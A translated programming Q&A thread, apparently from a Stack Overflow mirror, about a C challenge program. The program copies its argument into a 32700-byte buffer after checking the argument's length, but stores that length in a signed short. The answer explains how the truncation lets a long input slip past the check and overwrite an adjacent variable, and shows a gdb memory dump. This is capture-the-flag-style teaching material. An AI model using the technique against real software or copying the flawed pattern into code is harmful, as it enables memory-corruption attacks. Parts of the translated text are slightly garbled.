Как выполнить конкретное переполнение буфера, минуя проверку длины - PullRequest
0 голосов
/ 30 июня 2019

Я пытаюсь выполнить переполнение буфера, чтобы в переменной (типе) было определенное значение.Я борюсь со strlen и проверяю свой ввод.

Я пытался использовать что-то вроде: 'AAAAA \ x00AAA ... A \ x00 \ xbc \ xd4 \ xb9' для обмана проверки strlen, что мой ввод просто5 А долго.Но что-то всегда сбрасывает мой \ x00 с сообщением:

-bash: Warnung: подстановка команд: игнорируется нулевой байт при вводе

Поэтому я пошел, чтобы увеличить ввод и получить переполнение целых чиселтак что короткое замыкание, в котором длина сохраняется, слишком велико и становится ниже 32700 ... Но, похоже, это тоже не сработало.

Мои входные данные построены следующим образом:

./challenge `python -c "print 'A'*30000 + '\x00' + 'A'*10000" + '\xXX\xXX\xXX\xXX'`

(для \ xXX моих желаемых входов)

или

./challenge `python programm.py`

Я также использую GDB для анализа памяти.Но я не могу найти правильный способ его использования ...

Код для моей задачи:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    int type = 0xdeadbeef;
    char buf[32700];
    short len;

    if (argc < 2)
        return -1;

    len = strlen(argv[1]);
    if (len > 32700) {
        printf("Too long\n");
        return -1;
    }

    strcpy(buf, argv[1]);

    if (type == 0x00b1c2d3) {
        printf("Success\n");
    } else {
        printf("Try again\n");
    }

    exit(0);
}

Какие-нибудь другие идеи (или «решение») для этой проблемы?Я так стараюсь сейчас, так как дни.Кроме того, у меня не было ничего общего с C (особенно анализ памяти, gdb и все такое) в течение многих лет, поэтому мне очень трудно понять некоторые вещи.

1 Ответ

2 голосов
/ 30 июня 2019

Проблема в коде заключается в том, что длина len, которая рассчитывается с использованием strlen(), равна short. Это означает, что это 16-битное значение. Поскольку strlen() возвращает size_t, что является 64-битным значением в моей системе x86_64, только 16 младших бит будут сохранены в переменной len.

Итак, на первый взгляд вы можете отправить что-нибудь более чем 65 535 байтов, переполнить это short int и сохранить только младшие 16 бит. Но есть еще одна проблема, которую стоит отметить. Переменная len представляет собой короткое целое число со знаком . Это означает, что он хранит значения из [-32768,32767], тогда как size_t является значением без знака. Поэтому, когда strlen() возвращает свое значение, длины, для которых установлен максимальный бит (больше 32 767 байт), станут отрицательными числами.

Вот пример gdb сеанса, иллюстрирующий это:

(gdb) break 22
Breakpoint 1 at 0x829: file challenge.c, line 22.
(gdb) run `ruby -e 'print("A"*32768)'`
Starting program: /home/josh/foo/challenge `ruby -e 'print("A"*32768)'`

Breakpoint 1, main (argc=2, argv=0x7fffffff6338) at challenge.c:22
22          if (type == 0x00b1c2d3) {
(gdb) p len
$1 = -32768
(gdb) x/64bx $rsp
0x7ffffffee260: 0x38    0x63    0xff    0xff    0xff    0x7f    0x00    0x00
0x7ffffffee268: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00
0x7ffffffee270: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7ffffffee278: 0x00    0x00    0x00    0x80    0xef    0xbe    0xad    0xde
0x7ffffffee280: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffffffee288: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffffffee290: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffffffee298: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
(gdb) 

Посмотрите, как байты в 0x7ffffffee27a равны 0x00 0x80? Это от -32768 до short int, поэтому длина воспринимается как отрицательная (намного меньше 32 700!).

Я также включил некоторую дополнительную информацию в дамп памяти, чтобы вы могли видеть, что поле type немедленно следует за полем len в памяти, за которым следует массив buf (который содержит мой 32768 * 1030). * s!). Обратите внимание, что будут работать только определенные длины ввода - те, которые выглядят отрицательными или переполняются до значения менее 32 700 при усечении до 16 бит.

Это не решает всей проблемы, но, по крайней мере, должно дать вам хорошее начало для понимания того, что вы можете контролировать. Также обратите внимание, что есть данные над массивом buf, например, где rbp указывает, ваш сохраненный указатель возврата и т. Д. В зависимости от того, как вы это компилируете (например, с или без стековых канареек и т. Д.), Они могут по пути вам предстоит еще кое-что решить.

...